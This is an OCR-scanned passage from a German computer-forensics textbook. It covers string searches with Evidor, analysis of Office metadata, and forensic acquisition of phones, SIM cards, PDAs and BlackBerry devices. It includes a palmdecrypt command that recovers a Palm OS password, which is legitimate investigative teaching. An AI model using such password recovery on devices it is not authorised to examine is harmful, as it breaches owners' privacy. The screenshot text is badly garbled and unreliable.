500 BTMABIC PR 950258 O‘Z:nraw R EMF a... 57643 01.06.2003 02.00:00, 01,05 2003 1
E:j B";::;“;te _— B 0264 EMF a 31196 01,05 2003 020000 01 05,2003 1
B o i WO oo poss EMF |a 38562 (11 0B 2003 D200:00| 01062003 1
-0 My Docurrents 950857 M3 128 Hash 085 W a 33282 0N 06 2003 020000 07 06.2003 1
-] Programme | 5
3 Recyoled Pwl4 RipebD-128 Hash 1462 T™P [a... 0 1.08.2002 020000 31,08.20021
= TEMP w146z ';E:':DH:: He 462 TMF d... 4036 31.08.2002 0Z.00:00 31,08.2002 1
jj E&;‘g‘i - EFIC 1467 TMF 2 0] 31.08.2002 02:00:00| 31082002 1
553 meoclpl PWIET  SHA-384 Hash 1467 TMP d 4036 31082002 020000 31 08.2002 1
B s tempt EIE,  Stosie i 1488 TMP |a 0/ 31.08.2002 02:00:00| 31.08.2002 1
=8 7 7wl46  Refresh 1468 TMP ... 4096 71,08.2002 0200:00 31.08.2002 1
-0 Temparary Intemet |
£ vBE u4EB. TMP w1458 TMF ... 0 31.08.2002 02,0000 31,08.2002 2
B (1 Verlauf Twil4EB. TMP Pull4EB TMP .d 4,036 31.08.2002 02:00.00, 31.08.2002 2
(1 WebshalsTemp
b= W4EC TMP MI4BC TMP & 0 31082002 02.0000| 31082002 2
£t | |awiaec TMP A/l46C TMP d 4036 31082002 020000/ 31 08.2002 2%
14 » 4 3
Deleted fle
P oimal fles I Direclories
I Names of deleted fies ME Deleted directory o o o o
I %
Evidor  Ein weiteres sehr hilfreiches Tool zum schnellen Auffinden von Zei-
. . .1 45 .
chenketten auf einer Festplatte ist das Tool Evidor™ vom gleichen
Hersteller wie WinHex. Evidor vereint die Suchfunktionen von Win-
Hex auf einer tibersichtlicheren Oberfliche und ermoglicht die Suche
sowohl in logischen Laufwerken als auch innerhalb des gesamten phy-
sischen Datentragers. Auflerdem erzeugt es einen Bericht tber die
gefundenen Zeichenketten mit dem genauen Fundort.
Abb' 7-74 M Evidor: The Evidence Collector @ by X-Ways Software Technology AG x|
he nach Zeichenketten :
Suche nac eichenkette e Wwiinme (L) :I Suchbegriffe [giner pro Zeile] [w GroR-/Kleinschreibung beachten
. . . 4 fpnl backup (M i i
in Dateisystemen mit y FE:[_NT mAld Erika Mustemann = [~ Unicode Zeichensatz
X erk af@mustermann. de ™ Als Jokerzeichen interpretieren: I'?_
Evidor e O_setup 1) Durkle Gasse 7 [~ Nur ganze witer |
4 O_audio [F:) Bottrop = |
e O_zudio 2 (3] Kanto I~ Lesefehler ignorieren
o O_new volume [R:] EtLDZ -
_.'l “wéinme [5:] Banklaitzahl ¥ Incl. Beschreibung der Fundstellen
- CO-ROM-Laubwerk (T:) Bankleidzahl [~ Hicht druckbare Zeichen filtem
j EEE%MLEU'WE* v gg K.ontext um Fundstellen extrahisren
— ] \Ifulume 1 awanzigster 100 Bytes vor und
Hﬁ& Select physical disk wfulw.bank by 100 Biytes nagh jedem Treffer
00k Digkette 1 drugdealer.com . |
<ot BOR Festplatte 1 = Hsrab |
sy ::-EE |D:\Evidor-Ausgabe. himl l
-_:’ 29 CO-ROM 2 = L_adan.:.é SECIEit [¥ HTML-Farmat [in k5 Excel nutzbar]
7 ;
Beenden Languag; Infg Hilte

45. http:/lwww.x.ways.netlevidor/
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Wie Abbildung 7-74 zu entnehmen ist, bekommt man mit Evidor
einen komfortablen Bericht einschliefSlich der Fundorte der gesuchten
Zeichenketten.

Finden sich auf einem verddchtigen System oder in einer E-Mail  Metadata Assistant
Office-Dokumente oder mochte man generell den »Weg« einer
Microsoft-Word- bzw. Excel-Datei nachvollziehen, kann man u.a. den
Metadata Assistant*® verwenden. Mit diesem Werkzeug lassen sich alle ~ Abb. 7-75
in einem Office-Dokument hinterlassenen Datenspuren analysieren: — HTML-Ausgabe der
Hierzu zidhlen u.a. die letzten zehn Autoren, das verwendete Template,  Suchergebnisse von
versteckter Text, interne Links und Kommentare. Evidor

Suchbegriffe:

Enna Zwielicht
enno.zwielicht@®grnx.de
Dunkle Gasse 7
Bottrop
drugdealer.com

Optionen:
[ 1 GroB-fKleinschreibung beachten, [ ] Unicode, [ ]Joker, [ ] Ganze Warter, [¥] Nicht druckbare Zeichen filkern

Suchhegnff. :Fundéte\le :Eﬂaktm [Kontext
. & wirner Informationstechnik Am Elpachweg 2b Tel: 49 0 8250 26989 D-46236
Eotron [Pi\ProgrammeLizenz & 2958938 g atrop Fax: 43 0 8250 26988 Mailbox: 43 0 8250
DA OfficerOffice Sa nax@t-online de Kleiner Muhlenweg 20 Sperner Roads and Traffic Authority
Bottrap |20004Templatesh 103 1csssweets. temiSweets.inf 6485651 46236 Bottrop 913 Gwenth Ave Berkley, MI 48072, USA 3085 13@easyclub.ch
|{slack) i San Dlegn CA 92129, USh Fn\sennu B i i |
| IDIthIWwEMGE\JFSE\W?Da %] From: "Rainer zufall” [Rainerzufa\l@gmx.neb To:

zwielicht@gmz.de D Internet\E-Mail\Sent Items.dbx 7913087 |[enno.zwielicht@gmx.de>» Subject: Wo bleibt die Ware? Date: Mon, 13 Oct 2003
| 20:30:08 0200 MIME-Version: 1.0 Content-T
0.2727.1200 Enno, wenn du zum nachsten Treffen nicht kommst, ist der Deal
Dunkle Gasse 7 D:yInternet\E-MailSent Items.dbx |7913088 geplatzt. Treﬁpunkt: Dunk\e Gasse 7 in Botkrop geplatzt, (3000 X-MimeOLE:
| Produced B ‘1 U] From: "Rainer Zufall" [Ra
o, wenn du zum nachsten Treffen nicht kommst, ist der Deal geplatzt.
Bottrop D:\Internet\E-Mail\Sent Items.dhx |7913088 Treffpunkt Dunkle Gasse 7 in Bottrop geplatzt. .3000 X-MimeOLE: Produced B 1
: | J From: "Rainer Zufall" [Ramer Zufal\@gmx
| , USA Code 47GLO2E MR 1527 / Bldg 0002 Rm 321 Packett Wildestr, 27 46238
Bottrop freier Speicher 7916340 Bottrop 3230 Morth Sheffield kabrhu@home com.au PO Box 163
sumio@centurytel.net Mertensenna.
euen Treffpunkt. Wo bleibt die Ware? Rainer Zufall Rainer Zufall@gm:x.net
Enno. zwwel\cht@gmx e [ennn 2W|e\|cht@gm>< de> GMX 1 00000003 Tl
'7941575 @ Kontoinhaber: Enno Zwielicht Kontonr,: 123456789 BLZ: 10020030 Bank:
| westdeutsche Reinwaschbank
'7941476 euen Tref‘fuunkt Wo bleibt die Ware? Rainer Zufall Rainer. Zufa\l@gmx net
| enna.zwielicht@ams.de [enno.zwielicht@gmy de> GMX 1 00000003 Up & Up &

zwielicht@gmz.de .D:\Intemet\E-Mai\\Sent Itemns.dbx |7922394
Enno Zwielicht |D:AOfficetDoc\Privatikonto.doc

enno.zwielicht@gmx.de|freier Speicher

:H:\Tempnrary Internet

|Filas\Content 1E5\0DSBCVONFarewell[ 1] htm 18129235 k you for your visit to drugdealer.com. Order more and receive wolume discount.

drugdealer.com

»Enno Zwielicht
enno.zwielicht@®grnx.de

Dunkle Gasse 7

Bottrop

drugdealer.com«

wurde an 10 Stelle{n) gefunden.

Die Liste der kleinen und grofsen moglichen Werkzeuge konnte hier
noch beliebig weitergefiihrt werden. Die Entwicklungsgeschwindigkeit
in diesem Marktsegment hat in den letzten Jahren zugenommen. Es ist
zu empfehlen, sich mit den Werkzeugen genau zu befassen, sie vor dem
heiflen Einsatz an Referenzquellen zu testen und zu entscheiden, ob sie
die eigene Arbeitsweise unterstiitzen und hilfreiche Wegbegleiter dar-
stellen konnen.

46. http:/lwww.payneconsulting.com
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Abb. 7-76
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7.3 Forensische Analyse von mobilen Geraten

Durch den Einzug von mobilen Handhelds in den privaten und
geschiftlichen Alltag riicken auch diese Gerite in den Mittelpunkt der
Aufklarung von moglichen Computerstraftaten. Zusitzlich verschwin-
den die Grenzen zwischen Mobiltelefonen und PDAs immer weiter.
Mobiltelefone tibernehmen PDA-Funktionen, PDAs »lernen« das Tele-
fonieren. Die Wahrscheinlichkeit, dass man sich im Rahmen von Com-
puter-forensischen Analysen auch mit mobilen Endgeriten beschiftigen
muss, steigt umso mehr, als diese Geridte Einzug in Geschiftsprozesse
und Kommunikationsgewohnheiten halten. Besteht der Verdacht, dass
ein Mobiltelefon oder ein PDA in einen Sicherheitsvorfall oder eine
mogliche Straftat verwickelt ist, miissen diese Gerite ebenfalls gemafd
dem bereits beschriebenen S-A-P-Modell behandelt werden. Wenn es
zur Analyse von mobilen Geraten kommt, sind fast immer auch Spei-
cherkarten beteiligt, die es dann zu sichern und zu analysieren gilt. Viele
der mobilen Gerite sind auf einem Arbeitsplatz als vollwertiges Lauf-
werk sichtbar und demzufolge auch fiir den Transport von Daten nutz-
bar.

Die meisten gegenwirtigen Gerdte nutzen die Flash-Technik,
obgleich andere Technologien entwickelt werden. Es gibt eine Vielzahl
von Speicherkarten auf dem Markt:
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Compact Flash Card (CF), Compact Flash Card 2

Memory Stick (MS), Memory Stick Pro, Memory Stick DUO,
Memory Stick Pro DUO

Multimedia Card (MMC), MMC RS, MMC Mobile, MMC Micro
Secure Digital Memory Card (SD), Mini SD, Micro SD

Smart Media Card (SMD)

Da in vielen Fillen FAT32 als Dateisystem auf diesen Karten zum Ein-
satz kommit, sollten hier die gleichen Analyseschritte wie bei PC-Fest-
platten mit dem gleichen Dateisystem erfolgreich sein.

Fiir die weitere Betrachtung mobiler Gerite wird in diesem Kapitel
eine Unterscheidung zwischen PDA und Mobiltelefon danach vorge-
nommen, ob in dem Gerit eine SIM-Karte (SIM = Subscriber Identity
Modul) enthalten ist. Eine SIM-Karte ist eine entfernbare Karte, die in
ein Mobiltelefon eingesteckt wird und fiir den Einsatz in GSM-Netzen
(GSM = Global System for Mobile Communication) spezifiziert wurde.
Ohne SIM-Karte kann ein Mobiltelefon keine Telefoniefunktion in
einem GSM-Netz durchfithren. In anderen Netzwerken wie beispiels-
weise dem CDMA-Netz (CDMA = Code Division Multiple Access) ist
keine SIM-Karte notig. Die Funktionen der SIM-Karte werden direkt
vom Mobiltelefon tibernommen. Eine SIM-Karte verfiigt neben ande-
ren Funktionen iiber internen Speicherplatz, der auch fir forensische
Analysen relevant sein kann. Normalerweise ist eine SIM-Karte durch
einen vierstelligen Code vor unbefugtem Zugriff geschiitzt. Die Analyse
der Daten, die sich auf den Systemen des Mobilfunkproviders befinden,
sind nicht Bestandteil dieses Kapitels.

7.3.1 Was ist von Interesse bei mobilen Geraten?

Grundsatzlich lassen sich fiir die Identifikation von Mobiltelefonen
zwei Faktoren heranziehen. Zum einen erlaubt es die SIM-Karte, alle
Transaktionen aufseiten des Mobilfunkproviders nachvollziehbar zu
machen. Der andere Faktor ist die IMEI (International Mobile Equip-
ment Identifier)*”, die das eigentliche Telefon identifizierbar macht.
Einige Mobilfunkprovider priifen bei der Ubertragung von Verbin-
dungsdaten die IMEL mit der es z.B. moglich ist, bekannte gestohlene
Gerite zu blockieren, auch wenn eine neue SIM-Karte verwendet wird.

Bei der Analyse von mobilen Geriten sind — abhingig von der kon-
kreten Fragestellung — folgende Fragen zu beantworten (M nur bei
Mobiltelefonen):

47. Die IMEI-Nummer eines Mobiltelefons kann mit der Tastenkombination *#06#
abgefragt werden.
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Um welches Gerit handelt es sich? Welche IMEI hat das Gerat?
Welche IMSI (International Mobile Subscribe Identity) ist der SIM-
Karte zugeordnet?*8

Welcher Mobilfunkprovider wird mit dem Gerat verwendet? (M)
Welche Telefonnummer hat dieses Gerat? (M)

Welche Telefonnummern wurden zu welchem Zeitpunkt von die-
sem Gerit angerufen? (M)

Von welchen Telefonnummern wurden Anrufe mit diesem Gerit
entgegengenommen? (M)

Welche Kontakte bzw. Telefonnummern sind in diesem Gerat oder
seiner SIM-Karte gespeichert? (M)

Welche Kurzwahlnummern wurden hinterlegt? (M)

Welche SMS wurden mit diesem Geriat empfangen? (M)

Welche SMS wurden mit diesem Gerit gesendet? Wurden dabei
Templates benutzt? (M)

Welche SMS wurden auf dem Gerit dauerhaft gespeichert?

Welche zusitzlichen Klingeltone, Themes oder Onlinespiele wur-
den auf dem Gerit installiert?

Welche zusitzliche Software wurde auf dem Gerite installiert?
Konnen mit dem Gerit Speicherkarten verwendet werden? Ist eine
Karte im Gerit enthalten? Welche Daten befinden sich auf der
Karte?

Welche Sprach- und Regionaleinstellungen wurden vorgenommen?
Auf welche Zeitzone ist das Gerat eingestellt?

Wurden Eigentiimerinformationen eingegeben?

Befinden sich auf dem Gerit Kalenderinformationen?

Befinden sich auf dem Gerit Notizen?

Ist eine GPS*-Tracking-Software auf dem Gerit installiert, die
eventuell lokal oder entfernt gespeicherte Bewegungsdaten aufge-
zeichnet hat?

Ist eine Kamera in das Gerit eingebaut? Befinden sich Fotos auf
dem Gerit?

Ist ein Mikrofon in das Gerit eingebaut? Befinden sich Audioauf-
zeichnungen auf dem Gerit?

Welche weiteren Dateien befinden sich auf dem Gerit?

Ist auf dem Gerit ein Internetzugang moglich und konfiguriert
(WLAN, UMTS, GPRS, WAP etc.)? Welche Konfigurationspara-
meter sind eingegeben worden?

Befinden sich auf dem Gerit gespeicherte Bookmarks?

48. Bei vielen Mobiltelefonen kann man die IMEI auch auf dem Typenschild finden,

das sich tiblicherweise unter dem Akku befindet.

49. Global Positioning System
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7.3.2  Welche Informationen sind auf der SIM-Karte von Interesse?

Die SIM-Karte speichert viele Informationen tiber den Netzteilnehmer.
So befindet sich hier beispielsweise die sogenannte International
Mobile Subscriber Identity (IMSI), die dem Mobilfunkprovider als ein-
deutige Identifizierung von Netzteilnehmern (interne Teilnehmerken-
nung) dient. Die IMSI-Nummer wird weltweit einmalig pro SIM-Karte
von den Mobilfunknetzbetreibern vergeben. Dabei hat die IMSI nor-
malerweise nichts mit der Telefonnummer der SIM-Karte zu tun.

Eine weitere wichtige Information ist die sogenannte Mobile
Subscriber Integrated Services Digital Network Number (MSISDN).
Diese ist die eigentliche wihlbare Rufnummer, die ein Anrufer benutzt,
um den Mobilfunkteilnehmer zur erreichen. Es sind auch Mobiltele-
fone erhiltlich, die gleichzeitig mehrere MSISDN unterstiitzen.

Auf der SIM-Karte sind neben Kurzwahlnummern auch gesendete,
empfangene, ungelesene und gespeicherte SMS enthalten. Das Losch-
verfahren von SMS lasst unter Umstianden eine Wiederherstellung von
geloschten SMS zu. Ebenfalls werden auf der SIM-Karte die zuletzt
gewihlten Telefonnummern gespeichert. Die SIM-Karte speichert nor-
malerweise Informationen tiber den Standort der letzten Einbuchung
ins Mobilnetz anhand der geografischen Information der fir die Ein-
buchung benutzten Funkzelle. Genaue Ortungen uber einen langeren
Zeitabschnitt kann nur der Mobilfunkprovider vornehmen, wenn
nicht zusitzliche Tracking-Software auf dem Mobiltelefon installiert
ist. Die SIM-Karte speichert neben Informationen iiber den Mobil-
funkprovider ebenfalls die Mobilfunknetze von Providern, die beim
Roaming nicht verwendet werden sollen.

Viele Mobiltelefone speichern SMS oder Telefonnummern noch
einmal separat. Wenn ein Verdichtiger diese Informationen loscht,
kann es sein, dass er die Daten auf der SIM-Karte tibersieht und diese
im Nachhinein dennoch auswertbar sind.

Fir die Analyse einer unbekannten IMEI oder IMSI gibt es auch
die Moglichkeit einer Online-Recherche via hitp:/fwww.numbering-
plans.com/?page=analysis.

7.3.3  Grundsatzlicher Ablauf der Sicherung von mobilen Gerdten

Muss ein mobiles Gerat (Mobiltelefon oder PDA) forensisch analysiert
werden, kann nach folgendem Ablaufschema (siehe Abb. 7-77) vorge-
gangen werden.
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Erstellen eines Digitalfotos

Abb. 7-77
Schematischer Ablauf der ?:,:{221’33 szilrlf:;‘

Fundortes

forensischen Analyse

eines mobilen Gerdtes

Hersteller und Gerétetyp
identifizieren,
Stromversorgung
sicherstellen

Bei Bedarf Strahlungs-

Ja Ist das Gerat
schutzmafnahmen

eingeschaltet?

Nein

Geratefunktionen
identifizieren und
Handbticher besorgen

Enthélt das Gerét eine

SIM-Karte? Ja SIM-Karte entfernen
-Karte?

Weiteres Vorgehen

planen Nein

PIN und PUK-Status
mit forensischem

M

Tool auslesen
Kann das Gerat mit
forensischen
Werkzeugen
analysiert werden?

Gerét mit forensischen
Tools analysieren

PIN bekannt oder
deaktiviert?
PUK bekannt?

PUK beim Provider

Nein erfragen

Ergebnisse auf
Vollstandigkeit
verifizieren (gegen
Features im Handbuch
prifen)

Vorsichtige manuelle
Untersuchung aller
Eintrage, Programme und
Listen (Fotografieren)

SIM-Karte mit
forensischem Tool
analysieren

Gerét ausschalten SIM-Karte enthalten?

SIM-Karte in das Geréat
einlegen und einschalten

Gerét bereits
untersucht?

Missen die
Mailbox-Nachrichten
analysiert werden?

Sind weitere
Speicherkarten im
Gerét enthalten?

Mailboxnachrichten
extern (mit PIN) abrufen

Nein Ja

Missen geléschte
Daten wiederhergestellt
werden?

Image der
Speicherkarte erstellen

Nein Ja

Verwahrung der

untersuchten Gegen-

stande fur spatere
Untersuchungen

File Carving auf der
Speicherkarte

Bericht erstellen




Lizenziert flr 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

7.3 Forensische Analyse von mobilen Geraten 297

7.3.4 Software fiir die forensische Analyse von mobilen Gerdten im
Uberblick

Kommt ein Ermittler in die Situation, einen PDA oder ein Mobiltelefon
forensisch analysieren zu miissen, empfiehlt es sich auf jeden Fall,
neben Spezialsoftware auch ein Ladegerit fiir das entsprechende
Modell vorritig zu halten. Nichts ist frustrierender, als wenn wihrend
einer langwierigen forensischen Sicherung eines Gerites der Akku
schlappmacht. Bei der Analyse von mobilen Geriten sollte man auch
immer daran denken, das passende Verbindungskabel fiir den Daten-
zugriff dabei zu haben.

Pdd®°, PDA Seizure®!, Oxygen Forensics’* und andere Tools ste-
hen zur Verfugung, um Daten von Mobiletelefonen, Palm PDAs oder
Windows-CE- bzw. Windows-Mobile-Handhelds zu kopieren und zu
analysieren. Aber auch einige der bereits fir die klassische forensische
Untersuchung von Festplatten-Images verwendeten Tools konnen zur
Analyse von PDA-Images verwendet werden.

Sl=l Abb. 7-78
Suche im Speicherbereich
eines Palm PDA mit PDA

FNEELEELE

Files |Search | Graphil:sl Ennkmarksl

Seizure
File Name: Create Date Madify Date Backup Date I “ersion | Size
CardORAM 0 9
CardOROM = = " a
=
File: | EBookmark Done
FortGizee |9 | ¥ Show Highlighting R |
Teal | HexView |

Ready [

Palm OS, das Betriebssystem des Palm PDA und seiner Nachfolger, ist
von mehreren Herstellern lizenziert worden und wird mit deren eige-
nen Gerdten ausgeliefert. Die Analysesoftware fir den klassischen
Palm PDA kann in der Regel fiir alle diese Gerite verwendet werden.

50. http:/fwww.atstake.com/research/
51. http:/fwww.paraben-forensics.com/pda.himl
52. bttp:/lwww.oxygensoftware.com/en/products/forensic/
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Es ist dabei nur zu beachten, iiber welche Schnittstellen man auf diese
Systeme zugreifen kann. Ist der Zugriff auf ein Speicher-Image dieser
PDAs moglich, konnen alle Applikationen und Datenbanken analy-
siert werden. Hierzu gehoren u.a. Protokolldaten, Aufgabenlisten, als
»privat« gekennzeichnete Eintrage, Passworter, kryptografische Kom-
ponenten, besuchte Webseiten und weitere fur die Ermittlung wichtige
Informationen. Zusitzlich konnen Datenbanken von bereits gelosch-
ten Applikationen analysiert werden. In diesen Images finden sich wei-
terhin als geloscht markierte Objekte, die aber erst beim nichsten Hot-
sync-Vorgang endgiiltig geloscht werden.
Abb.7-79 ¥ PDA Seizure - C:\Program Files'Paraben Corporation'PDA Seizur i =] 3|
Nach dem Auslesen des File Edit Took Wew Help
PDA kénnen die Daten mit Al 2[R &) =68 € |
PDA Seizure analysiert Files | Searchl Graphicsl Buokmarksl
werden. File Path |_File Mame | Tvpe | Create Date | Modify Date | attributes | Size | Statis |.L... | MDS Hash ~|
Reqgistry 3,966 Redgistry 305048007
MemImage 3,680 MemoryImage FEC44410¢
‘\Program FilesiWin defaulk.Ink  .Ink 200001701 20 200000101 20: A 23 Acquired RAM BED33A6ZT
\My Documents,  Welcome To % .wma  2000/01001 20 2000/01/01 20: A 24 Acquired RAM S15AAG0SE
\My DocumentsTe Yehicle Mileage .pxt 2000/01f01 20 2000/01/01 20:HRA 7,495 Acquired RAM ICI1BBEFE
\My DocumentsiTe To Do.psw .psw 200001001 20 2000/01/01 20:HRA 2,616 Acquired RAM OF7952DEE
\My DocumentsiTe Phone Merro.p.psw 200001701 20 2000/01/01 20:HRA 2,008 Acquired RAM 9443F21C
\My DocumentsiTe Memo.psw .psw 2000/01f01 20 2000/01/01 20:HRA 2,112 Acqured RAM 523694AFE
\My Documents)Te Meeting Motes .psw 200001701 20 200001 /01 20: HRA 1,908 Acquired RAM 40FBSE424
\My Documents) Te Blank Documer .psw 200001701 20 2000/01/01 20: HRA 0 Acquired RAM
\My DocumnentsiTe To Do, pwi pwi 2000/01f01 20 2000/01/01 20: HRA 3,096 Acquired RAM B2SEACSO:
\My DocumentsiTe Phone Merro.p.pwi 200001701 20 2000/01/01 20: HRA 2,008 Acquired RAM FF2CCABOI
\My Documents! Te Memo. pri pwi 2000001701 20 2000§01/01 20: HRA 2,112 Acquired RAM CACHCE26
\My Documents)Te Meeting Motes .pwi 2000401001 20 2000/01/01 20:HRA 1,592 Acquired RAM BE76D70EE
\My Documents)Te Blank Mate.pw .pwi 200001701 20 2000/01/01 20:HRA 0 Acquired RAM
‘\windowsiHome M HP game butkc . Ink Z000f01§01 20 2000§01/01 20: A 18 Acquired RAM 7ZE4BACE:
{indawsiHame M HP backupnk. . 2000/01/01 20 2000/01 01 20 BDABIEDA
indowsiHome 4 R EO0723177E
! k. Ink.
\Windows|Home M Clack.Ink 2000)01/01 20 2000/01/01 20: A Acauired 2FAG1C9BE
\windowsiHame M Madem.Ink 2000/01/01 20 2000/01/01 20: A 28 Acquired RAM ACI46EDE:
YindowsiHome M PC.Ink Z000/01/01 20 Z000j01/01 20: A 26 Acqured RAM COZFOS10:
YindawsiHame M Today.Ink 2000/01/01 20 2000j01/01 20: A 28 Acqured RAM GAGSESSES _
\‘\A im A Ve M Bbbaes [eL OO N 20 PN00NE N 20 A DO Ao = (=117 ] 7FFI|’\FOj_I
634 Files [ rom 4
Selbst verschliisselt gespeicherte Datenbanken liegen wihrend der
Laufzeit unverschliisselt im Speicher. Hat man dann Zugriff auf diese
Speichersegmente, sind alle diese Informationen grundsitzlich auch
auslesbar.
palmdecrypt Der Algorithmus zum Verschliisseln des Benutzerpassworts eines

Palm PDA ist bis zur Palm-OS-Version 4 nicht ausreichend gegen
Angriffe gesichert. Hat man Zugriff auf diesen verschlusselten Text,
kann man z.B. mit dem Tool palmdecrypt’> das Passwort entschliis-
seln. So erhidlt man Zugriff auf die verschliisselten Passworter, bei-
spielsweise tiber die »Unsaved Preferences«-Datenbank oder tber

53. http:/lwww.atstake.com/research/
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einen Mitschnitt des seriellen oder Netzwerkverkehrs wiahrend des
Hotsync-Vorgangs.

D:\Programme\misc\forensic>palmcrypt -d
841316826AAC5AB1395F2BEA247E673796FC1D2428BE0213BA80F52C5FAB382D

Palm0S Password Codec
kingpin@atstake.com

@stake Research Labs
http://www.atstake.com/research
August 2000

0x67 0x65 0x68 0x65 0x69 0x6D [geheim ]

Abb. 7-80 Palm-0S-Passwort mit palmdecrypt entschliisselt

PDA Seizure ermoglicht das direkte Auslesen des Palm-Passworts  PDA Seizure
wihrend des Imaging-Vorgangs. Der PDA muss vorher mit einer spezi-
ellen » Tasten«-Kombination in den Debug-Modus versetzt werden.

x Abb. 7-81
Decoded Palm password. Dekodieren des Palm-
For Flam 05 lower than 4.0 we can decode lock password, Passworts mit PDA Seizure

Password info:

b

% Zuriick: I “wieiter > I Abblechenl

Der BlackBerry z.B. ist ein sogenanntes Allways-on-Gerit, das Nach-  BlackBerry
richten tiber eine Push-Technologie ibermittelt bekommt. Informatio-

nen werden uber die GPRS-Funkverbindung stindig auf das Gerit

gesendet. Dies bedeutet aber, dass die Spuren, die bereits geloschte

Daten hinterlassen haben, jederzeit unkontrolliert tiberschrieben wer-

den konnen. »Ohne Vorwarnung« kénnen Applikationen wie der E-
Mail-Client, der Instant Messenger, der Wireless Calendar und alle

weiteren zusitzlich installierten Tools Daten empfangen. Dadurch

wird eine forensische Analyse erschwert.
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Diese Eigenschaft der BlackBerry-Gerite macht es erforderlich,
den Funkempfang sofort zu deaktivieren, wenn man den ersten Zugriff
auf ein zu untersuchendes Gerit hat. Ein komplettes Ausschalten ist in
diesem Kontext nur bedingt empfehlenswert, da der BlackBerry nur
dann vollstandig ausgeschaltet ist, wenn die Stromzufuhr fur lingere
Zeit komplett unterbunden wurde oder das Gerit in den Storage
Mode geht. Wenn es nur tiber das GUI ausgeschaltet wird, werden
lediglich Display, Tastatur und Funkempfang deaktiviert. Wird das
Gerit eingeschaltet, nachdem es tiber das GUI ausgeschaltet oder vom
Stromkreis abgeschnitten wurde, werden alle Informationen aus der
Server-Queue per Funk auf den BlackBerry ubertragen, noch bevor
man die Chance hat, den Funkempfang zu deaktivieren. Kennt man
den PIN-Code des Systems nicht, kommt man nicht einmal an den
Funk-Deaktivierungsbutton auf der Oberfliche. Nach einer komplet-
ten Stromunterbrechung des Gerits findet beim folgenden Start ein
System-Reset statt, der automatisch die meisten der fiir eine forensi-
sche Untersuchung interessanten Logdateien 16scht und ein System-
Cleanup durchfiihrt. Dieses System-Cleanup hat den aus forensischer
Sicht unerfreulichen Nachteil, dass der SRAM geloscht bzw. Dateisys-
tembereiche neu organisiert werden und damit Reste zuvor geloschter
Daten verloren gehen. Ein weiterer Stolperstein fiir Ermittler ist, dass
der fiir eine Dateisystemanalyse benotigte System-Snapshot ebenfalls
in einem System-Reset endet. Hier gilt es also, genau zu iiberlegen,
welchen Analyseschritt man zuerst durchfiihrt.

Mit Hilfe des BlackBerry SDK oder des Tools RIMWalker’* hat
man aber Zugriff auf die installierten Datenbanken, Logdateien oder
sonstige versteckte Dateien auf dem BlackBerry. Es ist dabei zu beach-
ten, dass die dafiir notige serielle Kommunikation unter Umstidnden
stromzehrend sein kann.

Eine andere Alternative ist das Java-Tool JL_Cmder, mit dem man
nicht nur die Moglichkeit hat, gute Screenshots eines BlackBerry-Geri-
tes iiber die Kommandozeile zu erstellen, sondern auch die Protokoll-
daten und wichtige Systeminformationen auslesen und auf einem Ana-
lysesystem sichern kann.

54. bhttp:/lresources.rimdev.com
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& JL_Cmder v1.9.0 - |o| x|

Der amerikanische Hersteller Paraben Forensics bietet fur den Zugriff
auf mobile Gerite und SIM-Karten zwei Werkzeuge an, die die Ana-
lyse der entsprechenden Umgebungen ermoglichen.

Mit Paraben’s Cell bzw. Device Seizure konnen Mobiltelefone fol-
gender Hersteller bzw. Betriebssysteme analysiert werden:

LG

Nokia

Sony Ericsson
Motorola
Siemens
Samsung
Apple
Android OS

Abb. 7-82
JL_Cmder
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Bei den PDAs werden folgende Systeme unterstiitzt:
Palm-Systeme
Windows CE, Pocket PC, Windows Mobile 5.0 und frither
BlackBerry 4.x und frither
Symbian 6.0, 6.1, 7.X, 8.X, & 9.X
EPOC 16/32 (Psion-Gerite)
Insgesamt ist mit Paraben Forensics Device Seizure die Datensicherung
und Analyse von mehreren Hundert Modellen moglich, wobei auch
GPS-Handgerite beispielsweise von Garmin analysiert werden konnen.
Mit Device Seizure konnen Adressbiicher, SMS-Nachrichten und
Anruflisten ausgewertet werden. Unter Umstianden ist auch eine Wie-
derherstellung geloschter Daten moglich.
Abb.7-83 ﬂ parabemeCelliSerziress ‘;Ta:"f]JJg'jJJ‘ugr'mu; tONEEHGe] SE'JZur'?‘jiimp'a:'jﬂu‘u‘ail l.cs2. dd aﬁ
Paraben’s Cell Seizure File Edit View Bookmarks Tools Help

ermdglicht das Auslesen
einiger Handy-Modelle.

DEE® A 48 4 %
i o [iew

SPAce
= Ol Nokia 5800 ( 0787 ) . | Description Picture 2
+ [[] 5% SMS History [ 4/30] [ Salinaipa -— |

=] ! Phaonebook [ 5422 )
+.[]%g Call Logs ( 3/50)
+ ] Calendar (5/5)
I TaDoList[3]

[N Logos [5/9)
3 .D-&-lF‘loliles [5]
- []=#* GPRS Access Paints [ 5)
+ @@ waP[2/20) [ Basicipg
R[S g Giallery (12 ]
+ D(ﬂ Sound Gallery [ 36/35 )
+ [[iggeJava Galler (10410
+-JI File System [ 256/256 ]

[ Bowing.jpg

-

Tt E

Row1/12  Col2/3

[ Goli.jpa

Fiir die Analyse von SIM-Karten kann ebenfalls von Paraben Forensics
das Tool SIM Card Seizure benutzt werden (siche Abb. 7-84).
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P Paraben’s SIM Card Seizure . o =]
File Edit ‘ew Tcols Help
D= E &% s o
Wiorksparce oo Grid 4B o
=5 WSIM Card aroperties { 1143
] s IMSI? 12} Bl Record number SCA | A | Date/Time
DIEms1(1) O +19075319302 0000000000  2004-01-24 11:00:59 GMT-5  AWS.Care. attws, com00 YOUR A
Dshmt D 2 +19072210302 1000000000 2004-01-2€ 001281328 GMT-E 3527363421
DB 2 Oz +19078319302 1000000000  2003-12-19 10:42:05 GMT-5 3523573947
o inaty data wih 25.kems (1) O4 +19076319302 1000000000 2003-12-19 12:50:13 GMT-5 3523573017
+ [[][_T]5IM Aabreviated dialing rumbers ( 142 ) 0 i
&[] CI5IM Fixed disling numbers { 1/2) 5 +19078319302 +13522172673 2003-12-20 14:38:58 GMT-5 5 THE WRAP
# []C15IM G3M specific { 1/14) Oe +19078319302 +13522172673 2003-12-20 14:42:12 GMT-5 T CAN OMLY TEXT MEACOUNT 15
51 Last rumber dialed ( 1/2 ) Oz +19078319302 1000000000  2003-12-04 12:31:58 GMT-5 3527353431
f-DDSIM Service dialing Mumbers { 1/2 )
+[T][C7]SIM Telecam specific { 1)9 )
1| | »
Froperties 2 % |[Bookmerks [
MName | Yalue | Fie | Marne Data | Tirnestamp |
